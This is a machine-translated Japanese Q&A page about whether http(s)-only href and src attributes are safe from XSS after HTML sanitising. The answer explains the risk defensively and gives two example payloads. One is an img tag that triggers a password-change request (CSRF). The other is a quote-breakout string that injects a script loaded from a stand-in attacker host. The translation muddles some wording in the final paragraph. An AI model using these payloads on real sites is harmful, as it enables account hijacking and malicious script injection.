web-dev-qa-db-ja.com

これは安全ですか? <a href=http://javascript:...>

<a>および<img>タグのhrefおよびsrc属性は、常に安全かどうか疑問に思います。 http://またはhttps://で始まるXSS攻撃。

たとえば、javascript: ...hrefおよびsrc属性に何らかの方法で追加して、コードを実行することは可能ですか?

リンク先ページが例であるかどうかを無視するフィッシングサイト、または<img src=...>は、非常に面倒なHTTP GETリクエストをトリガーします。

背景:テキストをマークダウンで処理してから、結果のHTMLをサニタイズします(Google Cajaの JsHtmlSanitizer を使用)。 Google Cajaの一部のサンプルコードでは、http://またはhttps://で始まるすべてのhrefsおよびsrcsが安全であると想定しています。そのサンプルコードを使用しても安全かと思います。

敬具、
カジ・マグナス

3
KajMagnus

Http(s)プロトコルのみを許可すると、javascriptの実行が防止されますが、悪意のある目的で使用することはできます。以下を考慮してください。

<img src="http://your.website.com/changepassword.php?newpass=hacked123" />

ユーザーが外部のWebサイトからコンテンツを埋め込むことを許可することは常に危険ですが、避けられない場合もあります。上記のように、スクリプトがXSSから十分に保護されていることを確認すると、100%のハッカー証明ではなくても、サイトがより強固になります。

EDIT:ここにかなり包括的な XSSチートシート がありますが、少し古くなっています。私が言及するのを忘れていたチートシートから取られた1つの重要な点は、>などのURLを防ぐために引用符および/またはhttp://legiturl.com"><script src="http://mal.icio.us/attack.js">記号もエスケープする必要があるということです。

3
Kaivosukeltaja